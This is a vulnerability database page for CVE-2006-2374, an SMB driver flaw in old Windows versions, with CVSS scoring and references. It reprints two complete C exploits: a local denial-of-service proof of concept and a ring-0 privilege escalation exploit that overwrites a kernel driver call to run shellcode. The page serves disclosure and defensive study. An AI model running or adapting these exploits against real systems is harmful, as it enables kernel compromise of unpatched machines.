CVE-2006-2374 : Detail

CVE-2006-2374

5.5
/
Medium
0.1%V3
Local
2006-06-13
17h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Server Message Block (SMB) driver (MRXSMB.SYS) in Microsoft Windows 2000 SP4, XP SP1 and SP2, and Server 2003 SP1 and earlier allows local users to cause a denial of service (hang) by calling the MrxSmbCscIoctlCloseForCopyChunk with the file handle of the shadow device, which results in a deadlock, aka the "SMB Invalid Handle Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-667 Improper Locking
The product does not properly acquire or release a lock on a resource, leading to unexpected resource state changes and behaviors.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 2.1 AV:L/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 28001

Publication date : 2006-06-12
22h00 +00:00
Author : Ruben Santamarta
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/18357/info The Microsoft SMB driver is prone to a local denial-of-service vulnerability. A local attacker can exploit this issue to create processes that cannot be killed in affected operating systems, potentially denying service to legitimate users and other software on affected computers. This may aid the attacker in further attacks. //////////////////////////////////////////////////////////////////////////////// ///////// MRXSMB.SYS NtClose DEADLOCK exploit/////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //November 19,2005 //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //ONLY FOR EDUCATION PURPOSES //////////////////////////////////////////////////////////////////////////////// // Rub�n Santamarta // ruben (at) reversemode (dot) com // http://www.reversemode.com //////////////////////////////////////////////////////////////////////////////// #include <windows.h> #include <stdio.h> #define MAGIC_IOCTL 0x141047 VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); } VOID IamAlive() { DWORD i; for(i=0;i<0x1000;i++) { Sleep(1000); printf("\rI am a Thread and I am alive [%x]",i); } } VOID KillMySelf() { DWORD junk; DWORD *OutBuff; DWORD *InBuff; BOOL bResult; HANDLE hDevice; DWORD i; hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) ShowError(); OutBuff=(DWORD*)malloc(0x18); if(!OutBuff) ShowError(); OutBuff[3]=(DWORD)hDevice; DeviceIoControl(hDevice, MAGIC_IOCTL, 0,0, OutBuff,0x18, &junk, (LPOVERLAPPED)NULL); // MAIN THREAD ENDING. } int main(int argc, char *argv[]) { LPTHREAD_START_ROUTINE GoodThread; DWORD dwThreadId; DWORD bResult; GoodThread=(LPTHREAD_START_ROUTINE)IamAlive; printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n"); printf("\t(Only for educational purposes)\n"); printf("..http://www.reversemode.com..\n\n"); printf("Launching Thread ..."); // PUT YOUR "GOOD" OR "BAD" CODE HERE // e.g GoodThread CreateThread(NULL,0,GoodThread,0,0,&dwThreadId); printf("Done\n"); printf("I am going to dissapear,but I will be with you forever\n"); printf("(..)\n\n"); KillMySelf(); // Immortal mode "on" ;) return(1); }
Exploit Database EDB-ID : 1911

Publication date : 2006-06-13
22h00 +00:00
Author : Ruben Santamarta
EDB Verified : Yes

/////////////////////////////////////////////////////////////////////////////////////// // Mrxsmb.sys XP & 2K Ring0 Exploit (6/12/2005) // Tested on XP SP2 && 2K SP4 // Disable ReadOnly Memory protection // HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\EnforceWriteProtection = 0 // ----------------------------------------------------------------------------------- // ONLY FOR EDUCATIONAL PURPOSES. // ----------------------------------------------------------------------------------- // Rubén Santamarta. // www.reversemode.com // ----------------------------------------------------------------------------------- // OVERVIEW // ----------------------------------------------------------------------------------- // There are 3 possible values to change in order to adjust the exploit to other versions. // # XPSP2 (XP Service Pack 2) // This variable is equal to the File offset of the Call that we are modifying minus 0xC //. #XPSP2 => 3D88020000 cmp eax,000000288 //. 770B ja .000064BBE -- //. 50 push eax //. 51 push ecx //. E812E2FFFF call .000062DCC -- MODIFIED CALL -- // ----------------------------------------------------------------------------------- // #W2KSP4 (Windows 2000 Service Pack 4) // The same method previosly explained but regarding to Windows 2000 Service Pack 4. // ----------------------------------------------------------------------------------- // $OffWord // This variable is defined in CalcJump() Function. // E812E2FFFF call .000062DCC -- MODIFIED CALL -- // The exploit calculates automatically the relative jump, but we need to provide it // the 2 bytes following opcode Call(0xE8). In example, as we can see, to test in XP // OffWord will be equal to 0xE212. ////////////////////////////////////////////////////////////////////////////////////// #include <windows.h> #include <stdio.h> #define XPSP2 0x54BAC #define W2KSP4 0x50ADD #define MAGIC_IOCTL 0x141043 typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*, DWORD , LPDWORD); typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase, LPTSTR lpBaseName, DWORD nSize); VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); } DWORD CalcJump(DWORD BaseMRX,BOOL InXP,DWORD *hValue,DWORD *ShellAddr) { DWORD SumTemp; DWORD IniAddress; DWORD i; DWORD sumAux; DWORD addTemp; DWORD OffWord; if(InXP) { SumTemp=BaseMRX+XPSP2+0xE; OffWord=0xE212; } else { SumTemp=BaseMRX+W2KSP4+0xE; OffWord=0xa971; } for(i=0x4c;i<0xDDDC;i=i+4) { sumAux=~((i*0x10000)+OffWord); addTemp=SumTemp-sumAux; if(addTemp>0xE000000 && addTemp<0xF000000){ IniAddress=addTemp&0xFFFFF000; *hValue=i-4; *ShellAddr=addTemp; break; } } printf("\nINFORMATION \n"); printf("-----------------------------------------------------\n"); printf("Patched Driver Call pointing to \t [0x%p]\n",addTemp); return (IniAddress); } int main(int argc, char *argv[]) { PENUMDEVICES pEnumDeviceDrivers; PGETDEVNAME pGetDeviceDriverBaseName; LPVOID arrMods[200],addEx; DWORD cb,i,devNum,dwTemp,hValue,Ring0Addr,junk,ShellAddr,BaseMRX=0; DWORD *OutBuff,*InBuff; HANDLE hDevice; BOOL InXP; CHAR baseName[255]; CONST CHAR Ring0ShellCode[]="\xCC"; //"PUT YOUR RING0 CODE HERE :)" if(argc<2) { printf("\nMRXSMB.SYS RING0 Exploit\n"); printf("--- Ruben Santamarta ---\n"); printf("Tested on XPSP2 & W2KSP4\n"); printf("\nusage> exploit.exe <XP> or <2K>\n"); exit(1); } if(strncmp(argv[1],"XP",2)==0) InXP=TRUE; else InXP=FALSE; pEnumDeviceDrivers=(PENUMDEVICES)GetProcAddress(LoadLibrary("psapi.dll"), "EnumDeviceDrivers"); pGetDeviceDriverBaseName=(PGETDEVNAME)GetProcAddress(LoadLibrary("psapi.dll"), "GetDeviceDriverBaseNameA"); pEnumDeviceDrivers(arrMods,sizeof(arrMods),&cb); devNum=cb/sizeof(LPVOID); printf("\nSearching Mrxsmb.sys Base Address..."); for(i=1;i<=devNum;i++) { pGetDeviceDriverBaseName(arrMods[i],baseName,254); if((strncmp(baseName,"mrxsmb",6)==0)) { printf("[%x] Found!\n",arrMods[i]); BaseMRX=(DWORD)arrMods[i]; } } if(!BaseMRX) { printf("Not Found\nExiting\n\n"); exit(1); } addEx=(LPVOID)CalcJump(BaseMRX,InXP,&hValue,&ShellAddr); OutBuff=(DWORD*)VirtualAlloc((LPVOID)addEx,0xF000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(!OutBuff) ShowError(); printf("F000h bytes allocated at \t\t [0x%p]\n",addEx); printf("Value needed \t\t\t [0x%p]\n",hValue+4); InBuff=OutBuff; printf("Checking Shadow Device..."); hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) ShowError(); printf("[OK]\n"); printf("Querying Device...\n"); while(OutBuff[3]< hValue) { DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize OutBuff, 0x18,// OutBuffer,OutBufferSize &junk, // bytes returned (LPOVERLAPPED) NULL); printf("\r\t[->]VALUES: (%x)",OutBuff[3]); } if(InXP) Ring0Addr=BaseMRX+XPSP2; else Ring0Addr=BaseMRX+W2KSP4; printf("Overwritting Driver Call at[%x]...",Ring0Addr); DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize (LPVOID)Ring0Addr, 0x18,// OutBuffer,OutBufferSize 0x &junk, // bytes returned (LPOVERLAPPED) NULL); printf("[OK]\n"); for(i=1;i<0x3C00;i++) OutBuff[i]=0x90909090; memcpy((LPVOID*)ShellAddr,(LPVOID*)Ring0ShellCode,sizeof(Ring0ShellCode)); printf("Sending IOCTL to execute the ShellCode\n"); DeviceIoControl(hDevice, // "\\.\shadow" MAGIC_IOCTL, // Privileged IOCTL InBuff, 2, // InBuffer, InBufferSize OutBuff, 0x18,// OutBuffer,OutBufferSize &junk, // bytes returned (LPOVERLAPPED) NULL); dwTemp=CloseHandle(hDevice); if(!dwTemp) ShowError(); dwTemp=VirtualFree(OutBuff,0xf000,MEM_DECOMMIT); if(!dwTemp) ShowError(); return(1); } // milw0rm.com [2006-06-14]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version -

Microsoft>>Windows_2003_server >> Version -

Microsoft>>Windows_2003_server >> Version -

Microsoft>>Windows_2003_server >> Version -

Microsoft>>Windows_2003_server >> Version -

Microsoft>>Windows_2003_server >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

References

http://securitytracker.com/id?1016288
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2006/2327
Tags : vdb-entry, x_refsource_VUPEN
http://www.idefense.com/intelligence/vulnerabilities/display.php?id=409
Tags : third-party-advisory, x_refsource_IDEFENSE
http://secunia.com/advisories/20635
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/26439
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/18357
Tags : vdb-entry, x_refsource_BID